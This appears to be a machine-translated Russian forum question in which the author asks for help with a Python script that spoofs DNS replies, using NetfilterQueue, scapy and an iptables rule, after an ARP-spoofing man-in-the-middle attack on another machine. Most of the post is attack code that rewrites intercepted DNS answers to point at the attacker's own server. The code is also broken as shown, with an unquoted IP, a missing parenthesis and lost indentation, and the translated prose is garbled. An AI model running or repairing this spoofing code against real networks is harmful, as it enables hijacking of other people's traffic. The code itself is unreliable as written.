Я использовал приведенный выше код, чтобы попытаться подменить dns после инициации моего Mitm, используя спуфинг arp (это хорошо работает, как я вижу в wireshark пакеты, направленные на мой другой компьютер), но при использовании этого кода это выглядит какпакеты на самом деле не модифицируются, иногда это работает (около 1 из 1000 DNS-запросов по какой-то причине).
пытался использовать метод PRIMOUTING iptables и другие, пытался трижды проверить, был ли мой поддельный arp успешным, и этобыл.
from netfilterqueue import NetfilterQueue
from scapy.all import UDP, DNSRR, DNS, IP
import sys, os
localIP = 192.168.1.32
os.system("sudo iptables -I FORWARD -p udp --sport 53 -d 192.168.1.50 -j NFQUEUE --queue-num 1"
def print_and_send(pkt):
payload = pkt.get_payload()
scapy_packet = IP(payload)
#Check if it is a dns packet
if scapy_packet.haslayer(UDP) and scapy_packet.getlayer(UDP).sport == 53:
print("DNS packet in port " + str(scapy_packet.getlayer(UDP).dport ) + " ID : "+
str(scapy_packet[DNS].id)+ " " +
str(scapy_packet[IP].src) + "=> "+ str(scapy_packet[IP].dst) +" "+
str(scapy_packet[DNS].qd.qname.decode('utf-8')))
#Create the spoofed packet
Spoofed =
IP(
dst = scapy_packet[IP].dst,
src = scapy_packet[IP].src
)/ \
UDP(
dport = scapy_packet.getlayer(UDP).dport,
sport = scapy_packet.getlayer(UDP).sport
)/ \
DNS(
id = scapy_packet[DNS].id ,
qr = 1,
aa = 1,
qd = scapy_packet[DNS].qd ,
an = DNSRR(rrname = scapy_packet[DNS].qd.qname, ttl = 19, rdata = localIP)
)
pkt.set_payload(bytes(Spoofed))
pkt.accept()
else:
pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_send)
try:
print("Waiting for data")
nfqueue.run()
except KeyboardInterrupt:
print("finished")
ожидал, что каждый пакет, полученный от атаки MITM, пройдет через этот фильтр и будет возвращать каждый раз, когда мой работающий html-сервер, на котором я работаю, и что на самом деле выходитнормальные ответы DNS.